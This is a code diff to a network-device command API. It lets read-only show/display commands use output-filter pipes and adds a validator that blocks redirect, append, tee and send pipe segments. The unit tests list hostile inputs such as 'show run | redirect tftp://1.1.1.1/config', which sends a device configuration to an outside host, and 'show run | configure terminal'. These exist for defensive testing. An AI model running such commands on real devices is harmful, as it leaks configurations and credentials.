diff --git a/netx_api/ne_exec.py b/netx_api/ne_exec.py
index 3427151..b8f21be 100644
--- a/netx_api/ne_exec.py
+++ b/netx_api/ne_exec.py
@@ -35,6 +35,25 @@ _ALLOWED_PREFIX_RE = re.compile(r"(?i)^(show\s|display\s|ping\s|ping6\s)")
 # Unicode / C1 line separators that can smuggle a second CLI after a show prefix.
 _FORBIDDEN_LINE_SEPARATORS = ("\u2028", "\u2029", "\x85", "\x0b", "\x0c")
 
+# Pipe segments allowed after show/display (output filtering only).
+_ALLOWED_PIPE_SEGMENT_RE = re.compile(
+    r"(?i)^(include|exclude|begin|section|count|match|grep|one-line)(\s|$)"
+)
+_BLOCKED_PIPE_SEGMENT_RE = re.compile(r"(?i)\b(redirect|append|tee|send)\b")
+
+
+def _validate_pipe_segments(cmd: str) -> None:
+    if "|" not in cmd:
+        return
+    parts = [p.strip() for p in cmd.split("|")]
+    if len(parts) < 2 or not parts[0] or any(not p for p in parts[1:]):
+        raise HTTPException(status_code=400, detail="command_pipe_not_allowed")
+    for segment in parts[1:]:
+        if _BLOCKED_PIPE_SEGMENT_RE.search(segment):
+            raise HTTPException(status_code=400, detail="command_pipe_not_allowed")
+        if not _ALLOWED_PIPE_SEGMENT_RE.match(segment):
+            raise HTTPException(status_code=400, detail="command_pipe_not_allowed")
+
 
 def _validate_command(command: str) -> None:
     cmd = str(command or "").strip()
@@ -42,7 +61,7 @@ def _validate_command(command: str) -> None:
         raise HTTPException(status_code=400, detail="empty_command")
     if len(cmd) > 500:
         raise HTTPException(status_code=400, detail="command_too_long")
-    if any(ch in cmd for ch in ("|", ";", "\n", "\r", "`")):
+    if any(ch in cmd for ch in (";", "\n", "\r", "`")):
         raise HTTPException(status_code=400, detail="command_chars_not_allowed")
     if any(sep in cmd for sep in _FORBIDDEN_LINE_SEPARATORS):
         raise HTTPException(status_code=400, detail="command_chars_not_allowed")
@@ -50,6 +69,7 @@ def _validate_command(command: str) -> None:
         raise HTTPException(status_code=400, detail="command_blocked")
     if not _ALLOWED_PREFIX_RE.match(cmd):
         raise HTTPException(status_code=400, detail="command_not_allowed_prefix")
+    _validate_pipe_segments(cmd)
 
 
 def _normalize_read_timeout(sec: int | None) -> int:
diff --git a/tests/test_ne_exec.py b/tests/test_ne_exec.py
index d170d42..454af09 100644
--- a/tests/test_ne_exec.py
+++ b/tests/test_ne_exec.py
@@ -33,16 +33,48 @@ class NeExecValidationTests(unittest.TestCase):
                     _validate_command(cmd)
                 self.assertEqual(ctx.exception.detail, "command_not_allowed_prefix")
 
-    def test_blocks_pipe(self) -> None:
-        with self.assertRaises(HTTPException) as ctx:
-            _validate_command("show run | include hostname")
-        self.assertEqual(ctx.exception.status_code, 400)
-        self.assertEqual(ctx.exception.detail, "command_chars_not_allowed")
+    def test_allows_pipe_filter_subcommands(self) -> None:
+        for cmd in (
+            "show run | include hostname",
+            "show configuration | include hostname",
+            "display current-configuration | include sysname",
+            "show run | exclude ^!",
+            "show run | begin interface",
+            "show run | section ^router",
+            "show ip route | count",
+            "show run | match hostname",
+            "show run | grep hostname",
+            "show run | one-line",
+            "show run | include x | include y",
+        ):
+            with self.subTest(cmd=cmd):
+                _validate_command(cmd)
+
+    def test_blocks_pipe_redirect_and_unknown(self) -> None:
+        for cmd in (
+            "show run | redirect tftp://1.1.1.1/config",
+            "show run | append flash:cfg.txt",
+            "show run | tee flash:cfg.txt",
+            "show run | send log",
+            "show run | unknown-filter x",
+            "show run |",
+            "show run | | include x",
+        ):
+            with self.subTest(cmd=cmd):
+                with self.assertRaises(HTTPException) as ctx:
+                    _validate_command(cmd)
+                self.assertEqual(ctx.exception.status_code, 400)
+                self.assertEqual(ctx.exception.detail, "command_pipe_not_allowed")
 
     def test_blocks_configure(self) -> None:
         with self.assertRaises(HTTPException):
             _validate_command("configure terminal")
 
+    def test_blocks_configure_after_pipe(self) -> None:
+        with self.assertRaises(HTTPException) as ctx:
+            _validate_command("show run | configure terminal")
+        self.assertEqual(ctx.exception.detail, "command_blocked")
+
     def test_blocks_non_show_prefix(self) -> None:
         with self.assertRaises(HTTPException) as ctx:
             _validate_command("interface GigabitEthernet0/0")